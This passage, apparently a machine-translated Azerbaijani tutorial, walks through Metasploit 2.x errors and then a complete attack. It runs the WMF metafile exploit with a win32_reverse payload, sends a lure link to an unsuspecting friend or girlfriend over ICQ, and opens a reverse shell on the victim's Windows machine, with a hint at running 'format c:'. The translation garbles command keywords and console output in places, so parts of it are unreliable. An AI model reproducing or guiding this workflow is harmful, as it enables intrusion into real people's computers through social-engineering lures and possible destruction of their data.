    mercantec_softcart.pm wsftp_server_503_mkd.pm
    mercur_imap_select_overflow.pm wzdftpd_site.pm
    mercury_imap.pm ypops_smtp.pm
    minishare_get_overflow.pm zenworks_desktop_agent.pm
    msf >
  • İçində! Çoxlu spoiler! (Və dedilər ki, istismarlar yoxdur. Belə çıxır ki, istismarlarla hər şey yaxşıdır - onlar mövcuddur)

2 Xəta

  • [exploit_name.pm] əmrindən istifadə edin
  • msf > ie_xp_pfv_metafile.pm istifadə edin
    msfconsole: istifadə edin: lütfən, etibarlı istismar adını göstərin
    msf >
  • Exploit genişləndirilməsi pm - dəqiqləşdirməyə ehtiyac yoxdur, yalnız istismarın adı!
  • msf > ie_xp_pfv_metafile istifadə edin
    msf ie_xp_pfv_metafile >

3 Səhv

  • İstədiyiniz istismarı uğurla seçdikdən sonra dərhal doldurmağı seçin (parametrləri unutmadan)
  • msf > ie_xp_pfv_metafile istifadə edin
    msf ie_xp_pfv_metafile > PAYLOAD win32_reverse təyin edin
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) > istismar
    Xəta: Tələb olunan seçim yoxdur: LHOST
    msf ie_xp_pfv_metafile(win32_reverse) >
  • Bummer! Bu başqa nədir? Çatışmayan (müəyyən edilməyib) tövsiyə olunan seçim (parametr) LHOST tərcümə olunur
    Ümumiyyətlə, yayılmağa başlamazdan əvvəl sizə set əmrindən istifadə edərək bütün lazımi parametrləri təyin etməyi (qurmağı) məsləhət görürəm.
    Hər bir istismarda fərqli sayda ola bilər (xüsusi zəiflikdən asılı olaraq)
    Beləliklə, nə etməli, hansı istismar üçün hansı parametrlərin olduğunu necə tapmaq olar? Cavab artıq yuxarıda idi! kömək etmək! Biz əmr edirik: info [sploit_name], məsələn, wmf-sploit haqqında hər şeyi tapırıq (ie_xp_pfv_metafile)
  • msf > məlumat ie_xp_pfv_metafile
    Adı: Windows XP/2003/Vista Metafayl Escape() SetAbortProc Code Executi
    Sinif: uzaqdan
    Versiya: $Revision: $1.18
    Hədəf OS: win32, winxp, win2003
    Açar sözlər: wmf
    İmtiyazlı: Xeyr
    Açıqlama: 27 dekabr 2005-ci il
  • Tərəfindən təmin:
    HD Mur san
    O600KO78RUSunknown.ru
  • Mövcud Hədəflər:
    Avtomatik - Windows XP / Windows 2003 / Windows Vista
  • Mövcud Seçimlər:
  • İstismar: Ad Defolt Təsvir
    ——— ——— ——- —————————————
    yönləndirmələr üçün istifadə ediləcək isteğe bağlı REALHOST Xarici ünvanı
    T)
    isteğe bağlı HTTPHOST 0.0.0.0 Yerli HTTP dinləyicisi hostu
    tələb olunur HTTPPORT 8080 Yerli HTTP dinləyici portu
  • ……….buraxıldı………….
    msf >
  • İstismarla bağlı bütün təfərrüatlı məlumatlar buradadır, biz isteğe bağlı maraqlıyıq
    Tənbəllər üçün:
    HTTPHOST (LHOST) - İstismarın asılacağı serverin yerli IP ünvanı (kompüterinizin ünvanı)
    HTTPORT (LPORT) - onun portu (8080 - standart)
    REALHOST (RHOST) - yönləndirmə üçün xarici ünvan (WAN - kompüteriniz NAT-ın arxasındadırsa ünvan)

4. Xəta

  • Vacibdir! Həmişə və hər yerdə mühit dəyişənlərinin adlarını yalnız BÖYÜK hərflərlə yazın!

5. Xəta

  • >msf ie_xp_pfv_metafile(win32_reverse) > istismar
    msf >Dinləyicini işə salmaq mümkün olmadı: Əməliyyata icazə verilmir
    Nə etməli? - portu buraxın (artıq bir şeylə məşğulam, sözün əsl mənasında - dinləyicini işə sala bilmirəm: əməliyyata icazə verilmir) və ya başqasından istifadə edin, məsələn, LPORT 8081 seçin

6 Səhv

  • Xxx.xxx.xxx.xxx ünvanından qoşulmuş müştəri:1879…
    Müəyyən edilməmiş alt proqram &Pex::Utils::JSUnescape /home/framework/exploits/ ünvanında çağırılır.
    ie_vml_rectfill.pm sətir 156.
    Reverse Handler çıxış edir.
    msf ie_vml_rectfill(win32_reverse) >
    Bu başqa nədir? Müəyyən edilməmiş alt proqram və... ümumiyyətlə, çox güman ki, siz təzə istismarı yükləmisiniz və onu ümumiyyətlə paketin köhnə versiyasına yapışdırmısınız, o işləməyəcək; Paketdən sonra buraxılan sploitlər əsasən yalnız son versiyada, hazırda 2.7-də işləyəcək (bu, ən son ie_vml_rectfill.pm istismarına aiddir. Ona görə də ya paketi yeniləyin, ya da sonuncunu endirin...

Misal
(praktiki istifadə)

  • İstismar: ie_xp_pfv_metafile, win32_reverse doldurulması
  • msf > ie_xp_pfv_metafile istifadə edin
    msf ie_xp_pfv_metafile > LHOST 10.0.0.1 təyin edin
    LHOST -> 10.0.0.1

Ümumiyyətlə, biz bunu başa düşdük və istismar üçün lazım olan hər şeyi təyin etdik, indi doldurmağa keçə bilərik:
komanda dəsti PAYLOAD [doldurma_adı],

  • msf ie_xp_pfv_metafile > PAYLOAD win32_reverse təyin edin
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > istismar

[*] Reverse Handler işə salınır.

Hazır! Konsol deyir ki, mən http://10.0.0.1:8080/ ilə bağlantılar gözləyirəm.
Linki dostumuza (və ya sevgilimizə), məsələn, Asya vasitəsilə satırıq.

Maşa, gör nə zarafatdır: http://10.0.0.1:8080/ (qeyd: əslində xarici ip olmalıdır)

[*] 10.0.0.2:1116-dan qoşulmuş HTTP Müştərisi, yönləndirilir... - müştəri qoşulub, onun IP-si 10.0.0.2:1116, yönləndirilir

[*] 10.0.0.2:1117-dən qoşulan HTTP Müştərisi, 1604 bayt faydalı yük göndərir… - 1604 bayt faydalı yük göndərildi (burada tərs qabıq)

[*] 10.0.0.1:4321 10.0.0.2:1118-dən bağlantı əldə edildi - əlaqə quruldu (uzaq kompüterin cmd-dən boru)

  • Microsoft Windows XP [‘?abЁp 5.1.2600]
    (‘) ?RaЇRа zЁп? cЄaRbRdv, 1985-2001.
    <>

Oh, lənətə gəlsin!
Bu ne cür gobbledygookdur? - Bu səhv seçilmiş kod səhifəsidir (onun rus dilində Windows-u var!) İndi yoxlayaq! chcp

  • C:\Sənədlər və Parametrlər\?¤¬Ё-Ёбва вRa\? ЎRзЁc bвR<>chcp
    chcp
    ‘?Єгй p ЄR¤Rў p bva-Kirpi: 866
    <>

Bu tam olaraq 866, gəlin 1251 qoyaq (Windows, s-ə qədər deyil)

  • C:\Sənədlər və Parametrlər\?¤¬Ё-Ёбва вRa\? ЎRзЁc bвR<>chcp 1251
    chcp 1251
    ‘?Єгй p ЄR¤Rў p bva -Kirpi: 1251
    C:\Sənədlər və Parametrlər\Administrator\Masaüstü>

HAQQINDA! İndi hər şey rus dilindədir! Başqasının kompüterinin cmd-də nə etmək sizin təsəvvürünüzdən asılıdır, əmrlərin siyahısı üçün windows konsolunun əmrlərinə baxın; (format c: - sərt!)
Ters qabıq doldurulması ilə WMF Exploit istifadəsinin konkret nümunəsi sizin seçimləriniz fərqli ola bilər;

 

Oxumaq faydalı ola bilər: